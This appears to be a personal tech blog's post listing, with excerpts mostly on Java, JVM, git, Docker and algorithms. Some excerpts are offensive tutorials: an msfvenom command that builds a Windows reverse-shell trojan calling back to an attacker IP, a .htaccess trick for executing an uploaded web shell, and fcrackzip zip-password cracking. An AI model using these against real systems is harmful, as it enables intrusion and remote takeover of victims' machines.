自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

lenkee的博客

记录我的学习点点滴滴

  • 博客(38)
  • 资源 (10)
  • 收藏
  • 关注

原创 jvm详解

jvm介绍什么是jvmJVM(Java Virtual Machine,Java虚拟机),Java程序的跨平台特性主要是指字节码⽂件可以在任何具有Java虚拟机的计算机或者电⼦设备上运⾏,Java虚拟机中的Java解释器负责将字节码⽂件解释成为特定的机器码进⾏运⾏。因此在运⾏时,Java源程序需要通过编译器编译成为.class⽂件。jvm结构内存结构程序计数器程序计数器(Program Counter Register)也叫寄存器,他的作⽤是记住下⼀条jvm指令的执⾏地址。特点:是线程

2021-04-14 09:48:17 777 1

原创 常用的几种设计模式详解

设计模式的概述设计模式分类创建型模式特点是将对象的创建与使用分离(解耦),有 单例、原型、工厂方法、抽象工厂、建造者等5种。结构型模式用于描述如何将类或对象按某种布局组成更大的结构,代理、适配器、桥接、装饰、享元、组合等7种。行为型模式用于描述类或对象之间相互协作共同完成 单个对象无法完成的任务,模板方法、策略命令、职责链、状态观察者、中介者、迭代器、访问者、备忘录、解释器等11种。UML包含了用例图、类图、对象图、状态图、活动图、时序图、协作图、构建图、部署图等9种。类

2021-04-09 15:22:01 9997

原创 java8新特性详解

Lambda表达式Lambda表达式介绍Lambda是一个匿名函数,可以理解为一段可以传递的代码。简化匿名内部类的使用,语法更加简单。Lambda的标准格式Lambda省去面向对象的条条框框,Lambda的标准格式格式由3个部分组成:(参数类型 参数名称) -> { 代码体; }格式说明:(参数类型 参数名称):参数列表{代码体;}:方法体-> :箭头,分隔参数列表和方法体Lambda省略格式在Lambda标准格式的基础上,使用省略写法的规则为:

2021-04-07 10:21:29 748

原创 《影响力》读书笔记

影响力的武器动物可能会因为看到某种颜色的羽毛而变得具有攻击性或听到某种叫声就对自己的天敌呵护有加,动物这种愚蠢可笑的机械反应在人类身上也有,当某一个触发特种出现时,我们会不假思索地做出相应的反应,之所以会这样就是因为我们被难以察觉的影响力摆布了。互惠我们应该尽量以相同的方式报答他人为我们做的一切。互惠原理——发挥着什么样的作用。这条原理说,要是人家给了我们什么好处,我们应当尽量回报如果我要遵守互惠原理的规范,我必须也有所让步。正如我们所见,我的确让了步:他从大请求退让到小请求,我则从不顺从变

2021-03-13 16:57:15 906

原创 Dos命令查看端口

查看端口占用在windows命令行窗口下执行:netstat -ano|findstr 1080TCP 127.0.0.1:1079 127.0.0.1:1080 ESTABLISHED 1332端口“1080”被PID(进程号)为1332的进程占用。查看端口“1080”被哪个应用占用,,继续执行下面命令:tasklist|findstr "1332"java.exe 1332 Services

2021-02-26 14:22:12 2323

原创 java抽象类和接口有什么意义

用了java这么久,对接口和抽象类使用一直很模糊。为什么接口和抽象类不能实例化,为什么接口可以多个实现而抽象类只能单继承,特别是java8之后,抽象类和接口里面都可以写代码后,就更加分不清了,今天重新整理一下。什么是抽象类(abstract class)使用abstract修饰符修饰的类。官方点的定义就是:如果一个类没有包含足够多的信息来描述一个具体的对象,这样的类就是抽象类。实际点来说,一个抽象类不能实例化,因为“没有包含足够多的信息来描述一个具体的对象”。但终归属于类,所以仍然拥有普通类一样的定义

2021-02-04 17:33:27 4299 3

原创 数学之美学习笔记

数学之美学习笔记第1章 文字和语言vs数字和信息第2章 自然语言处理--从规则到统计第3章 统计语言模型第4章 谈谈分词第5章 隐含马尔科夫模型第6章 信息的度量和作用第7章 贾里尼克和现代语言处理第8章 布尔代数和搜索引擎布尔代数:索引:第9章 图论和网络爬虫第10章 pageRank--Google的民主表决式网页排名技术PageRank算法原理第11章 如何确定网页和查询的相关性第12章 有限状态机和动态规划--地图与本地搜索的核心技术智能手机导航最关键的三个问题:地址分析和有限状态机全球导航和动态规

2021-02-03 13:29:39 2200 1

原创 git常用命令记录

git常用命令记录提交代码查看历史提交记录git根据commit查看信息远程拉取代码到本地branch操作查看远程仓库地址命令git remote -v提交代码提交代码到本地git add .查看提交记录$ git status -sA READMEA hello.php代码提交$ git commit -m '第一次版本提交'查看历史提交记录$ gi...

2020-01-07 10:33:12 1077

原创 fcrackzip猜解zip密码

用fcrackzip可以很方便的破解zip,它提供暴力破解和字典破解等功能fcrackzip安装linux没有安装fcrackzip可以命令安装mac安装brew install fcrackziplinux安装sudo apt-get install fcrackzip查看help参数解释-b 表示使用暴力破解的方式-c 'aA1' 表示使用大小写字母和数字混合破解的方式...

2019-11-16 15:44:06 4060

原创 MSF生成windows木马

msfvenom是msfpayload,msfencode的结合体,它的优点是单一,命令行,和效率.利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线生成exe木马msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4444 -f exe -o 123.exe192.168.0.110是攻...

2019-10-22 09:52:10 18595

原创 算法小程序:上台阶

问题描述有一段楼梯台阶有15级台阶,以小明的脚力一步最多只能跨3级,请问小明登上这段楼梯有多少种不同的走法?解题思路小明跨步最多3级,那么,跨步1,2,3都有可能。用暴力枚举法,可以很容易将所有跨步情况列举出来算法代码下面是用java实现的算法public class 上台阶 { /* * 有一段楼梯台阶有15级台阶,以小明的脚力一步最多只能跨3级, * 请问小明登上这段楼...

2019-10-12 19:45:16 2526 1

原创 算法小程序:逃离大迷宫

问题描述在一个 10^6 x 10^6 的网格中,每个网格块的坐标为 (x, y),其中 0 <= x, y < 10^6。我们从源方格 source 开始出发,意图赶往目标方格 target。每次移动,我们都可以走到网格中在四个方向上相邻的方格,只要该方格不在给出的封锁列表 blocked 上。只有在可以通过一系列的移动到达目标方格时才返回 true。否则,返回 false。...

2019-10-10 19:58:31 1549

原创 算法小程序:倒水问题

问题描述有三个容积分别为3,5,8升的水桶,其中容积为8升的水桶中装了水,容积为3,5的水桶为空。水桶没有刻度尺,现在需要将水桶中的8升水等分成2分,每份都是4升水,该怎么分。总共有多少种分方法思路水桶分别为3L,5L,8L,而且没有刻度尺衡量倒多少水,所有倒水要么被装的水桶倒满,要么倒水的桶倒完。我们可以给每个桶标记一种状态,初始状态就是8L水桶满,其余两个水桶为空,每倒一次,两个桶的状...

2019-10-07 09:37:26 7895 6

原创 Docker 常用命令记录

docker安装docker官网安装:[docker run -t -i ubuntu:15.10 /bin/bash ](docker run -t -i ubuntu:15.10 /bin/bash )docker 结构docker需要理解的几个部分模块介绍docker镜像(images用于创建docker容器的模板容器(container)独立运行的一个...

2019-08-22 20:10:22 1373

原创 OpenCSV创建csv文件

导入依赖包<dependency> <groupId>com.opencsv</groupId> <artifactId>opencsv</artifactId> <version>4.1</version> </dependency> 创建csv文件public static v...

2019-07-31 18:19:56 1909

原创 kali 弱点扫描

漏洞基本概念CVSSCVSS(Common Vulerability Scoring System, 通用漏洞评估方法),是由NIAC 发布、FITST维护的开放式行业标准,CVSS 的发布为信息安全产业从业人员交流网络中所存在的系统漏洞的特点与影响提供了一个开放式的评价方法。不同机构按等级评分满分是十分之威胁评为高、中、低cve已公开的信息安全漏洞字典,统一的漏洞编号标准扫描器...

2019-07-23 10:15:01 3431

转载 Java 8 CompletableFuture 教程

Java 8 有大量的新特性和增强如Lambda 表达式,Streams,CompletableFuture等。在本篇文章中我将详细解释清楚CompletableFuture以及它所有方法的使用。什么是CompletableFuture?在Java中CompletableFuture用于异步编程,异步编程是编写非阻塞的代码,运行的任务在一个单独的线程,与主线程隔离,并且会通知主线程它的进...

2019-06-20 14:24:25 1860

原创 《好好学习·成甲》教你如何学习学习

读了这么多书,却依旧过不好这一生?什么样的“知识”值得我们花精力学习?这本书通过很多角度告诉我们如何学习,它也改变了我的价值观,让我重新认识自己,如何有效的去做一件事,很值得推荐。以下是我阅读时摘录的一些书本观点。知识管理与认知优势掌握临界知识的底层思维与方法教育的根本是改变自己,改变自己对经验的解读方式以教为学,也就是把教别人的过程作为帮助自己学习的过程。刻意练习学习发现和应用自...

2019-06-16 11:53:29 3291

原创 JGit如何查文件相关的每一次diff,“git log -p”命令

需求说明JGit 提供了一个Git 命令的Java API,你可以在项目中使用git,像命令行一样方便操作,查询git项目。JGit项目目前由Eclipse维护,JGit主页https://www.eclipse.org/jgit/我想查询一个git项目,他的某一个文件的历史改动记录,git命令中用git log -p [file]即可很容易实现,jgit中的LogCommand里面有很多...

2019-05-30 22:37:45 3735

原创 java正则表达式

当需要找到匹配一个字符时public class RegexTest { public static void main(String[] args) { String description = "我的电话是:13888888888,有事联系"; String reg = "(\\(\\d{3,4}\\)|\\d{3,4}-|\\s)?\\d{7,14}...

2019-05-22 15:05:41 2322 5

原创 java8新特性Lambda表达式

lambda的语法其实Lambda表达式的本质只是一个"语法糖",我们可以使用更少的代码来实现同样的功能,它允许把函数作为一个方法的参数(函数作为参数传递进方法中)。表达形式(parameters) -> expression(parameters) -> {statments;}() ->{} // 什么都不做() ->{ "hello"; } 等价于 ()...

2019-05-15 13:00:30 2264

原创 springcloud(瞿永超著)学习记录(更新中)

springcloud介绍springcloud中文文档上面介绍:Spring Cloud为开发人员提供了快速构建分布式 系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智能路由,微代理,控制总线)。分布式系统的协调导致了样板模式, 使用Spring Cloud开发人员可以快速地支持实现这些模式的服务和应用程序。他们将在任何分布式环境中运行良好,包括开发人员自己的笔记本电脑,裸机数据...

2019-04-29 11:19:37 2230

原创 css初始化

去掉h1,ul,li,a标签等默认样式,并添加左浮样式“.fl”右浮动“.fr”,清理浮动样式“.clear”body{  font-size: 12px;}body,h1,h2,h3,h4,h5,h6,p,ul,ol,dl,dd{  margin: 0px;}ul{  padding:0px;  list-style: none;}ol{  pa...

2019-02-11 13:54:54 1195

原创 $.ajax同步请求,异步请求

jquery中ajax方法有个属性async用于控制同步和异步,默认是true,即ajax请求默认是异步请求,有时项目中会用到AJAX同步。这个同步的意思是当JS代码加载到当前AJAX的时候会把页面里所有的代码停止加载,页面出现假死状态,当这个AJAX执行完毕后才会继续运行其他代码页面假死状态解除。而异步则这个AJAX代码运行中的时候其他代码一样可以运行。异步请求方式:$.ajax({...

2019-01-04 08:57:36 2644

原创 netty客户端服务端

 Netty 是一个基于 JAVA NIO 类库的异步通信框架,它的架构特点是:异步非阻塞、基于事件驱动、高性能、高可靠性和高可定制性。netty服务端public class NettyServer { public static void main(String[] args) { // 1.创建服务对象 ServerBootstrap serverBootstrap ...

2018-12-13 18:02:49 1441

原创 NIO客户端与服务端

客户端class NioClient{ public static void main(String args[]) throws IOException{ System.out.println("客户端已经启动。。"); // 1.创建socket通道 SocketChannel schannel = SocketChannel.op...

2018-12-12 09:33:56 1604

原创 .htaccess 文件攻击上传shell

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。1.创建htaccess文件,编辑内容为:SetHandler application/x-httpd-php他的意思是将该目录下的所有文...

2018-12-03 18:01:02 3655

原创 java文件夹 文件批量压缩实现

文件下载时,我想下载多个文件,思路当然是把多个文件压缩到一个文件然后下载。如果用户选中文件夹下载呢,就是将文件夹内的所有文件按照原有文件结构压缩下载,如果用户勾选的既要下载文件,又要下载文件夹,这个时候我就封装了一个方法。/** * 功能:压缩多个文件,文件夹成一个zip文件 * @param srcfile:源文件列表 * @param zipfile:压缩后...

2018-11-12 10:52:35 2847

转载 JAVA中循环删除list中元素的方法总结

原文地址  https://www.cnblogs.com/pcheng/p/5336903.htmlJAVA中循环遍历list有三种方式for循环、增强for循环(也就是常说的foreach循环)、iterator遍历。1、for循环遍历listfor(int i=0;i&lt;list.size();i++){ if(list.get(i).equals("del"))...

2018-11-09 09:42:58 2481

转载 Java对象的复制

原文地址 https://blog.csdn.net/ztchun/article/details/79110096工具类BeanUtils和PropertyUtils进行对象复制Student stu1 = new Student(); stu1.setNumber(12345); Student stu2 = new Student(); BeanUtils.copyPro...

2018-11-09 09:42:33 2344

原创 js正则表达式截取文件名

表达式为([^\\/]+)\.([^\\/]+)$1是文件名,$2是扩展名 ,下面是Javascript的测试代码:&lt;script type="text/javascript"&gt; var a="c:\\windows\\abc.txt"; var reg = /([^\\/]+)\.([^\\/]+)/i; reg.test(a); a...

2018-11-09 09:26:44 7344

转载 Java性能优化的50个细节(珍藏版)

在JAVA程序中,性能问题的大部分原因并不在于JAVA语言,而是程序本身。养成良好的编码习惯非常重要,能够显著地提升程序性能。1. 尽量在合适的场合使用单例使用单例可以减轻加载的负担,缩短加载的时间,提高加载的效率,但并不是所有地方都适用于单例,简单来说,单例主要适用于以下三个方面:第一,控制资源的使用,通过线程同步来控制资源的并发访问;第二,控制实例的产生,以达到节约资源的目的;...

2018-10-22 10:29:09 2032

原创 centos 压缩包方式安装jdk

为下面5个步骤   1.官网下载JDK   2.解压缩,放到指定目录   3.配置环境变量   4.设置系统默认JDK 5. 测试jdk1.官网下载JDK地址:http://download.oracle.com/otn-pub/java/jdk/8u181-b13/96a7b8442fe848ef90c96a2fad6ed6d1/jdk-8u181-linux-x64...

2018-09-26 09:25:27 3660

原创 linux 常用命令手册

1.startx 从文本界面进入图形界面2.ls -lhar 显示目录与文件ls -lrt 按时间进行排序3.whoami 显示当前用户名who -r 显示系统当前运行级别,级别为5 第一次启动时间为2...

2018-09-22 09:44:12 7804

原创 java小程序之文件批量修改文件名

有时候网上下载一些学习视频,文件上面有很长很长的广告名字,广告名遮挡了要浏览的真正内容,看着就烦人,所以我写了一个文件批处理程序,将文件内所有符合条件的字符修改,删除。代码如下:package com.practice.method;import java.io.File;import java.util.ArrayList;import java.util.List;impo...

2018-08-23 12:45:00 3877

原创 基础算法与数据结构总结

写了不少代码,感觉越往上走基础越重要,最近看完《数据结构与算法分析》这本书,一些基本的编程思想和算法都在里面,在这里总结一下。数据结构如图:  基本算法如图:思维导图下载:https://pan.baidu.com/s/1ty--ekYqnJ-BnBlygMIbdA...

2018-08-22 12:32:39 3818

原创 mysql基本操作

mysql基本操作1、登录数据库:mysql -u root -p,然后输入密码2、数据库退出:exit;   查看数据库版本:SELECT VERSION();   显示当前用户:SELECT USER();3、查看数据库列表:SHOW DATABASES;   删除数据库:DROP DATABASE 4、连接数据库:USE TB_NAME

2017-04-11 13:07:40 2081

原创 制作网页所需的一些简单ps技巧

前端所需要一些ps截图技巧,这里把他记下来以备用放大 ctrl + 缩小 ctrl - 移动工具 空格 标尺 ctrl r 撤销选区 ctrl d 选区 m 移动 v 复制 ctrl c 创建新图

2016-10-13 13:15:30 1934

java后端学习路线概览

java后端学习路线概览

2024-01-15

mysql-8.0.25-macos11-x86_64.dmg.zip

mysql下载版本mysql-8.0.25-macos11-x86_64.dmg, 下载地址 https://dev.mysql.com/downloads/mysql/ 您要觉得下载速度慢可以下载这个。

2021-07-18

jdk-8u231-windows-x64.zip

Java 8 (又称为 jdk 1.8) 是 Java 语言开发的一个主要版本。 Oracle 公司于 2014 年 3 月 18 日发布 Java 8 ,它支持函数式编程,新的 JavaScript 引擎,新的日期 API,新的Stream API 等。

2020-01-12

Sublime mac版下载

Sublime Text是一套跨平台的文本编辑器,支持基于Python的插件。Sublime Text是专有软件,可透过包(Package)扩展。大多数的包使用自由软件授权发布,并由社群建置维护。

2019-08-05

人事管理系统(毕设)JSP+Mysql

数据库文件在lib包下面。人事管理系统,属于ERP的一个部分。它单指汇集成功企业先进的人力资源管理理念、人力资源管理实践、人力资源信息化系统建设的经验,以信息技术实现对企业人力资源信息的高度集成化管理,为中国企业使用的人力资源管理解决方案

2019-05-06

chrome浏览器73.0.3683.103(正式版本 64 位)

Google Chrome是一款由Google公司开发的网页浏览器,该浏览器基于其他开源软件撰写,包括WebKit,目标是提升稳定性、速度和安全性,并创造出简单且有效率的使用者界面。

2019-04-20

comet4j-tomcat6-tomcat7-jar包以及js文件

里面包含comet4j.js,comet4j-tomcat6.jar,comet4j-tomcat7.jar,comet4j开发指南等资源

2018-09-09

百d云不限速-最新

这两个版本的工作原理是突破百度云试用加速 300 秒的限制,即便你下载大型文件超过 300 秒或者 24 小时内下载多个文件也可以无限加速。

2018-09-08

sqlmap免Python环境Windows版

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。

2018-08-29

VC++6.0编程软件

VC++ 是具有集成开发环境的c语言编程软件,C++以及C++/CLI等编程语言的c语言编程软件,VC++ 6.0不但具有自动生成程序框架的功能,还有类管理方便快捷,可开发多种程序等优点,而且用户可以通过简单的设置使VC++生成的程序框架支持数据库接口、OLE2 、WinSock网络和3D控制界面。本款c语言编程软件是汉化过的VC++中文版本,用户操作、使用起来更加方便。

2018-08-29

数据结构与算法总结-思维导图

为了便于描述,文中涉及到的代码部分都是用Java语言编写的,其实Java本身对常见的几种数据结构,线性表、栈、队列等都提供了较好的实现,就是我们经常用到的Java集合框架,有需要的可以阅读这篇文章。

2018-08-29

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除